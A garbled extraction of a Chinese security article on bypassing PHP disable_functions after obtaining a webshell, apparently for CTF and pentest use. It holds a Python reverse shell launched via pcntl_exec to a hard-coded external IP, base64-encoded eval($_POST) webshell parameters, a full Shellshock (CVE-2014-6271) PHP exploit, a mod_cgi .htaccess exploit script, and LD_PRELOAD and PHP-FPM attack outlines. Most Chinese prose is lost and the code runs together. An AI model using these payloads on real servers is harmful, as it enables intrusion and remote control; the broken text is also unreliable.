[16545] 2021-03-12_绕过DisableFunctions来搞事情

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2021-03-12_绕过DisableFunctions来搞事情 D i s a b l e   F u n c t i o n s W H O A M I   F r e e B u f   2 0 2 1 - 0 3 - 1 2   W e b s h e l l   d i s a b l e _ f u n c t i o n s p h p i n f o d i s a b l e _ f u n c t i o n s S h e l l d i s a b l e _ f u n c t i o n s C T F I P D i s a b l e   F u n c t i o n s P H P e v a l e x e c s y s t e m p h p . i n i d i s a b l e _ f u n c t i o n s d i s a b l e _ f u n c t i o n s w e b s h e l l d i s a b l e _ f u n c t i o n s d i s a b l e _ f u n c t i o n s 便 d i s a b l e   f u n c t i o n s P H P e x e c ( ) s h e l l _ e x e c ( ) s y s t e m ( ) p a s s t h r u ( ) p o p e n ( ) < ? p h p e c h o   e x e c ( ' w h o a m i ' ) ; ? > < ? p h p e c h o   s h e l l _ e x e c ( ' w h o a m i ' ) ; ? > < ? p h p s y s t e m ( ' w h o a m i ' ) ; ? > < ? p h p p a s s t h r u ( " w h o a m i " ) ; ? > < ? p h p $ c o m m a n d = $ _ P O S T [ ' c m d ' ] ;
p r o c _ o p e n ( ) p c n t l _ e x e c   p c n t l _ e x e c 使 使 P H P p c n t l p c n t l l i n u x p h p 线 e x e c P H P p c n t l p c n t l _ e x e c ( ) p c n t l p c n t l _ e x e c ( ) t e s t . s h p c n t l _ e x e c ( ) p y t h o n s h e l l [ ] p h p   L D _ P R E L O A D   L D _ P R E L O A D L i n u x R u n t i m e   l i n k e r 使   L D _ P R E L O A D     P H P   s y s t e m ( ) e x e c ( )   L D _ P R E L O A D d i s a b l e _ f u n c t i o n s . s o L D _ P R E L O A D p u t e n v ( ) L D _ P R E L O A D . s o P H P m a i l ( ) i m a p _ m a i l ( ) m b _ s e n d _ m a i l ( ) e r r o r _ l o g ( )   w e b     a . b i n 便   a . b i n     b ( ) b ( )       c . s o     c . s o   c . s o     c _ e v i l . s o c _ e v i l . s o     b ( )     c _ e v i l . s o   a . b i n     c _ e v i l . s o   b ( )     c . s o     b ( ) c _ e v i l . s o     d i s a b l e _ f u n c t i o n s     u i d _ t   g e t u i d ( v o i d ) ;     C     g e t u i d _ s h a d o w . s o   P H P     p u t e n v ( )   L D _ P R E L O A D     g e t u i d _ s h a d o w . s o 便   P H P     m a i l ( )   m a i l ( )     / u s r / s b i n / s e n d m a i l   L D _ P R E L O A D   s e n d m a i l     g e t u i d ( )     g e t u i d _ s h a d o w . s o     g e t u i d ( )     P H P       s y s t e m ( ) e x e c ( )     g e t u i d ( )   s e n d m a i l   w e b     s e n d m a i l   s e n d m a i l   g e t u i d ( )   w w w - d a t a     p h p . i n i     s e n d m a i l   便   s e n d m a i l h o s t n a m e     h o s t s     s e n d m a i l   w w w - d a t a   h o s t s 1 2 7 . 0 . 0 . 1   l a m p l a m p . l a m p . c o m y a n g y a n g w i t h g n u     s e n d m a i l     [ G K C T F 2 0 2 0 ] C h e c k I N L D _ P R E L O A D d i s a b l e _ f u n c t i o n s $ h a n d l e   =   p o p e n ( $ c o m m a n d , " r " ) ; w h i l e ( ! f e o f ( $ h a n d l e ) ) {                         e c h o   f r e a d ( $ h a n d l e ,   1 0 2 4 ) ;     / / f r e a d ( $ h a n d l e ,   1 0 2 4 ) ; }     p c l o s e ( $ h a n d l e ) ; ? > < ? p h p $ c o m m a n d = " i p c o n f i g " ; $ d e s c r i p t o r s p e c   =   a r r a y ( 1   = >   a r r a y ( " p i p e " ,   " w " ) ) ; $ h a n d l e   =   p r o c _ o p e n ( $ c o m m a n d   , $ d e s c r i p t o r s p e c   ,   $ p i p e s ) ; w h i l e ( ! f e o f ( $ p i p e s [ 1 ] ) ) {                   e c h o   f r e a d ( $ p i p e s [ 1 ] ,   1 0 2 4 ) ;   / / f g e t s ( $ p i p e s [ 1 ] , 1 0 2 4 ) ; } ? > < ? p h p i f ( f u n c t i o n _ e x i s t s ( ' p c n t l _ e x e c ' ) )   {       p c n t l _ e x e c ( " / b i n / b a s h " ,   a r r a y ( " / t m p / t e s t . s h " ) ) ; }   e l s e   {               e c h o   ' p c n t l   e x t e n s i o n   i s   n o t   s u p p o r t ! ' ; } ? > < ? p h p   p c n t l _ e x e c ( " / u s r / b i n / p y t h o n " , a r r a y ( ' - c ' , ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M , s o c k e t . S O L _ T C P ) ; s . c o n n e c t ( ( " 1 3 2 . 2 3 2 . 7 5 . 9 0 " , 9 8 9 8 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / b a s h " , " - i " ] ) ; '
s h e l l 怀 d i s a b l e _ f u n c t i o n s p h p i n f o d i s a b l e _ f u n c t i o n s y a n g y a n g w i t h g n u   g i t h u b / ? G i n k g o = Z X Z h b C g k X 1 B P U 1 R b d 2 h v Y W 1 p X S k 7 #   e v a l ( $ _ P O S T [ w h o a m i ] ) ; / ? G i n k g o = c G h w a W 5 m b y g p O w = = #   p h p i n f o ( ) ;
b y p a s s _ d i s a b l e f u n c . p h p   w e b s h e l l b y p a s s _ d i s a b l e f u n c _ x 6 4 . s o b y p a s s _ d i s a b l e f u n c _ x 8 6 . s o 6 4 3 2 b y p a s s _ d i s a b l e f u n c . c b y p a s s _ d i s a b l e f u n c . p h p w e b 访 t m p i n c l u d e   G E T   c m d     i d   o u t p a t h     / t m p / x x 便   w e b   w e b   访 s o p a t h     / v a r / w w w / b y p a s s _ d i s a b l e f u n c _ x 6 4 . s o   w e b   访   b y p a s s _ d i s a b l e f u n c . p h p     b y p a s s _ d i s a b l e f u n c _ x 6 4 . s o   b y p a s s _ d i s a b l e f u n c . p h p 使 G E T / r e a d f l a g f l a g d i s a b l e _ f u n c t i o n s / ? G i n k g o = a W 5 j b H V k Z S g i L 3 Z h c i 9 0 b X A v Y n l w Y X N z X 2 R p c 2 F i b G V m d W 5 j L n B o c C I p O w = = & c m d = i d & o u t p a t h = / t m p / o u t f i l e 1 2 3 & s o p a t h = / v a r / t m p / b y p a s s _ d i s a b l e f u n c _ x 6 4 . s o #   i n c l u d e ( " / v a r / t m p / b y p a s s _ d i s a b l e f u n c . p h p " ) ;
,     U R L   s h e l l   s h e l l s h e l l   S h e l l S h o c k C V E - 2 0 1 4 - 6 2 7 1 使 使 L i n u x   s h     s h e l l     b a s h b a s h B a s h   S h e l l s h o c k   C V E - 2 0 1 4 - 6 2 7 1 B a s h 使   E N V   B a s h 退 s h e l l { } P H P m a i l ( ) i m a p _ m a i l ( ) p o p e n b a s h ( C V E - 2 0 1 4 - 6 2 7 1 )   A n t S w o r d - L a b s 访   h t t p : / / y o u r - i p : 1 8 0 8 0 使 s y s t e m p h p i n f o d i s a b l e _ f u n c t i o n s 使 s h e l l L D _ P R E L O A D / v a r / w w w / h t m l . a n t p r o x y . p h p . a n t p r o x y . p h p p u t e n v ( ) m a i l ( ) e r r o r _ l o g ( ) / b i n / b a s h C V E - 2 0 1 4 - 6 2 7 1 / b i n / s h   - >   / b i n / b a s h ( ) { g i t   c l o n e   h t t p s : / / g i t h u b . c o m / A n t S w o r d P r o j e c t / A n t S w o r d - L a b s . g i t c d   A n t S w o r d - L a b s / b y p a s s _ d i s a b l e _ f u n c t i o n s / 2 d o c k e r - c o m p o s e   u p   - d
A n t S w o r d     S h e l l S h o c k   d i s a b l e _ f u n c t i o n s / v a r / t m p / e x p l o i t . p h p < ? p h p   #   E x p l o i t   T i t l e :   P H P   5 . x   S h e l l s h o c k   E x p l o i t   ( b y p a s s   d i s a b l e _ f u n c t i o n s )   #   G o o g l e   D o r k :   n o n e   #   D a t e :   1 0 / 3 1 / 2 0 1 4   #   E x p l o i t   A u t h o r :   R y a n   K i n g   ( S t a r f a l l )   #   V e n d o r   H o m e p a g e :   h t t p : / / p h p . n e t   #   S o f t w a r e   L i n k :   h t t p : / / p h p . n e t / g e t / p h p - 5 . 6 . 2 . t a r . b z 2 / f r o m / a / m i r r o r   #   V e r s i o n :   5 . *   ( t e s t e d   o n   5 . 6 . 2 )   #   T e s t e d   o n :   D e b i a n   7   a n d   C e n t O S   5   a n d   6   #   C V E :   C V E - 2 0 1 4 - 6 2 7 1   f u n c t i o n   s h e l l s h o c k ( $ c m d )   {   / /   E x e c u t e   a   c o m m a n d   v i a   C V E - 2 0 1 4 - 6 2 7 1   @ m a i l . c : 2 8 3         $ t m p   =   t e m p n a m ( " . " , " d a t a " ) ;         p u t e n v ( " P H P _ L O L = ( )   {   x ;   } ;   $ c m d   > $ t m p   2 > & 1 " ) ;         / /   I n   S a f e   M o d e ,   t h e   u s e r   m a y   o n l y   a l t e r   e n v i r o n m e n t   v a r i a b l e s w h o s e   n a m e s         / /   b e g i n   w i t h   t h e   p r e f i x e s   s u p p l i e d   b y   t h i s   d i r e c t i v e .         / /   B y   d e f a u l t ,   u s e r s   w i l l   o n l y   b e   a b l e   t o   s e t   e n v i r o n m e n t   v a r i a b l e s t h a t         / /   b e g i n   w i t h   P H P _   ( e . g .   P H P _ F O O = B A R ) .   N o t e :   i f   t h i s   d i r e c t i v e   i s e m p t y ,         / /   P H P   w i l l   l e t   t h e   u s e r   m o d i f y   A N Y   e n v i r o n m e n t   v a r i a b l e !         / / m a i l ( " a @ 1 2 7 . 0 . 0 . 1 " , " " , " " , " " , " - b v " ) ;   / /   - b v   s o   w e   d o n ' t   a c t u a l l y s e n d   a n y   m a i l         e r r o r _ l o g ( ' a ' , 1 ) ;       $ o u t p u t   =   @ f i l e _ g e t _ c o n t e n t s ( $ t m p ) ;         @ u n l i n k ( $ t m p ) ;         i f ( $ o u t p u t   ! =   " " )   r e t u r n   $ o u t p u t ;         e l s e   r e t u r n   " N o   o u t p u t ,   o r   n o t   v u l n . " ;   }   e c h o   s h e l l s h o c k ( $ _ R E Q U E S T [ " c m d " ] ) ;   ? >
  A p a c h e   M o d   C G I 使 使 L i n u x   A p a c h e   +   P H P   ( a p a c h e   使   a p a c h e _ m o d _ p h p ) A p a c h e   W e b   W e b H T T P W e b W e b W e b C G I C G I C o m m o n   G a t e w a y   I n t e r f a c e C G I W e b W e b F o r k C G I C P e r l P H P C G I C G I C G I W e b W e b F o r k W e b F o r k C G I C G I M o d   C G I W e b P e r l P H P W e b W e b F o r k M I M E a p p l i c a t i o n / x - h t t p d - c g i c g i - s c r i p t C G I 使 C G I A d d T y p e S c r i p t A l i a s A p a c h e C G I S c r i p t A l i a s 便 C G I C G I 使 C G I 使 h t a c c e s s 便 . x x x C G I C G I C G I d i s a b l e _ f u n c t i o n s   A n t S w o r d - L a b s 访   h t t p : / / y o u r - i p : 1 8 0 8 0 c g i r e w r i t e A l l o w O v e r r i d e O p t i o n s   + E x e c C G I A d d H a n d l e r   c g i - s c r i p t   . x x x g i t   c l o n e   h t t p s : / / g i t h u b . c o m / A n t S w o r d P r o j e c t / A n t S w o r d - L a b s . g i t c d   A n t S w o r d - L a b s / b y p a s s _ d i s a b l e _ f u n c t i o n s / 3 d o c k e r - c o m p o s e   u p   - d
s h e l l p h p i n f o d i s a b l e _ f u n c t i o n s A p a c h e C G I W e b   . h t a c c e s s     s h e l l . a n t   l i n u x C G I 5 0 0 b a s h l i n u x ( w i n d o w s ) l i n u x s h e l l . x x x 使 p h p c h m o d ( ) O p t i o n s   + E x e c C G I A d d H a n d l e r   c g i - s c r i p t   . a n t # ! / b i n / s h e c h o   C o n t e n t - t y p e :   t e x t / h t m l e c h o   " " e c h o & & i d
访 s h e l l . a n t 便 P O C d i s a b l e _ f u n c t i o n s < ? p h p $ c m d   =   " l s   / " ;   / / c o m m a n d   t o   b e   e x e c u t e d $ s h e l l f i l e   =   " # ! / b i n / b a s h n " ;   / / u s i n g   a   s h e l l s c r i p t $ s h e l l f i l e   . =   " e c h o   - n e   " C o n t e n t - T y p e :   t e x t / h t m l n n " n " ;   / / h e a d e r   i s   n e e d e d ,   o t h e r w i s e   a   5 0 0   e r r o r   i s   t h r o w n   w h e n   t h e r e   i s   o u t p u t $ s h e l l f i l e   . =   " $ c m d " ;   / / e x e c u t i n g   $ c m d f u n c t i o n   c h e c k E n a b l e d ( $ t e x t , $ c o n d i t i o n , $ y e s , $ n o )   / / t h i s   s u r e l y   c a n   b e   s h o r t e r {         e c h o   " $ t e x t :   "   .   ( $ c o n d i t i o n   ?   $ y e s   :   $ n o )   .   " < b r > n " ; } i f   ( ! i s s e t ( $ _ G E T [ ' c h e c k e d ' ] ) ) {         @ f i l e _ p u t _ c o n t e n t s ( ' . h t a c c e s s ' ,   " n S e t E n v   H T A C C E S S   o n " ,   F I L E _ A P P E N D ) ;   / / A p p e n d   i t   t o   a   . h t a c c e s s   f i l e   t o   s e e   w h e t h e r   . h t a c c e s s   i s   a l l o w e d         h e a d e r ( ' L o c a t i o n :   '   .   $ _ S E R V E R [ ' P H P _ S E L F ' ]   .   ' ? c h e c k e d = t r u e ' ) ;   / / e x e c u t e   t h e   s c r i p t   a g a i n   t o   s e e   i f   t h e   h t a c c e s s   t e s t   w o r k e d } e l s e {         $ m o d c g i   =   i n _ a r r a y ( ' m o d _ c g i ' ,   a p a c h e _ g e t _ m o d u l e s ( ) ) ;   / /   m o d _ c g i   e n a b l e d ?         $ w r i t a b l e   =   i s _ w r i t a b l e ( ' . ' ) ;   / / c u r r e n t   d i r   w r i t a b l e ?         $ h t a c c e s s   =   ! e m p t y ( $ _ S E R V E R [ ' H T A C C E S S ' ] ) ;   / / h t a c c e s s   e n a b l e d ?                 c h e c k E n a b l e d ( " M o d - C g i   e n a b l e d " , $ m o d c g i , " Y e s " , " N o " ) ;                 c h e c k E n a b l e d ( " I s   w r i t a b l e " , $ w r i t a b l e , " Y e s " , " N o " ) ;                 c h e c k E n a b l e d ( " h t a c c e s s   w o r k i n g " , $ h t a c c e s s , " Y e s " , " N o " ) ;         i f ( ! ( $ m o d c g i   & &   $ w r i t a b l e   & &   $ h t a c c e s s ) )         {                 e c h o   " E r r o r .   A l l   o f   t h e   a b o v e   m u s t   b e   t r u e   f o r   t h e   s c r i p t   t o   w o r k ! " ;   / / a b o r t   i f   n o t         }         e l s e         {                 c h e c k E n a b l e d ( " B a c k i n g   u p   . h t a c c e s s " , c o p y ( " . h t a c c e s s " , " . h t a c c e s s . b a k " ) , " S u c e e d e d !   S a v e d   i n   . h t a c c e s s . b a k " , " F a i l e d ! " ) ;   / / m a k e   a   b a c k u p ,   c a u s e   y o u   n e v e r   k n o w .                 c h e c k E n a b l e d ( " W r i t e   . h t a c c e s s   f i l e " , f i l e _ p u t _ c o n t e n t s ( ' . h t a c c e s s ' , " O p t i o n s   + E x e c C G I n A d d H a n d l e r   c g i - s c r i p t   . d i z z l e " ) , " S u c c e e d e d ! " , " F a i l e d ! " ) ;   / / . d i z z l e   i s   a   n i c e   e x t e n s i o n                 c h e c k E n a b l e d ( " W r i t e   s h e l l   f i l e " , f i l e _ p u t _ c o n t e n t s ( ' s h e l l . d i z z l e ' , $ s h e l l f i l e ) , " S u c c e e d e d ! " , " F a i l e d ! " ) ;   / / w r i t e   t h e   f i l e                 c h e c k E n a b l e d ( " C h m o d   7 7 7 " , c h m o d ( " s h e l l . d i z z l e " , 0 7 7 7 ) , " S u c c e e d e d ! " , " F a i l e d ! " ) ;   / / r w x                 e c h o   " E x e c u t i n g   t h e   s c r i p t   n o w .   C h e c k   y o u r   l i s t e n e r   < i m g   s r c   =   ' s h e l l . d i z z l e '   s t y l e   =   ' d i s p l a y : n o n e ; ' > " ;   / / c a l l   t h e   s c r i p t         } } ? >
[ D e 1 C T F 2 0 2 0 ] c h e c k   i n 便   P H P - F P M 使 使 L i n u x   P H P - F P M P H P - F P M P H P - F P M a p a c h e n g i n x W e b W e b H t m l W e b P H P W e b W e b W e b P H P P H P P H P W e b p h p p y t h o n W e b C G I C G I W e b P H P - C G I C G I A p a c h e   M o d   C G I F a s t - C G I C G I W e b P H P W e b F o r k C G I k i l l 便 C G I F a s t - C G I F a s t - C G I k i l l 使 A p a c h e   M o d   C G I F a s t - C G I   R e c o r d C G I / F a s t c g i H T T P H T T P H T T P H T T P T C P H T T P H T T P C G I W e b r e c o r d r e c o r d H T T P h e a d e r b o d y W e b C G I W e b H T T P r e c o r d h e a d e r 8 b o d y c o n t e n t L e n g t h P H P - F P M P H P - F P M 西 ? F P M F a s t c g i W e b 使 C G I ?   F P M F P M C G I T C P 访 w e b N g i n x k e y - . s o t y p e d e f   s t r u c t   { H E A D         u n s i g n e d   c h a r   v e r s i o n ;                             / /         u n s i g n e d   c h a r   t y p e ;                                   / /         u n s i g n e d   c h a r   r e q u e s t I d B 1 ;                     / / i d         u n s i g n e d   c h a r   r e q u e s t I d B 0 ;                             u n s i g n e d   c h a r   c o n t e n t L e n g t h B 1 ;             / / b o d y         u n s i g n e d   c h a r   c o n t e n t L e n g t h B 0 ;         u n s i g n e d   c h a r   p a d d i n g L e n g t h ;                 / /         u n s i g n e d   c h a r   r e s e r v e d ;               B O D Y       u n s i g n e d   c h a r   c o n t e n t D a t a [ c o n t e n t L e n g t h ] ; / /       u n s i g n e d   c h a r   p a d d i n g D a t a [ p a d d i n g L e n g t h ] ; / / } F C G I _ R e c o r d ; [ h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? a = 1 & b = 2 ] ( h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? a = 1 & b = 2 ) / v a r / w w w / h t m l
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则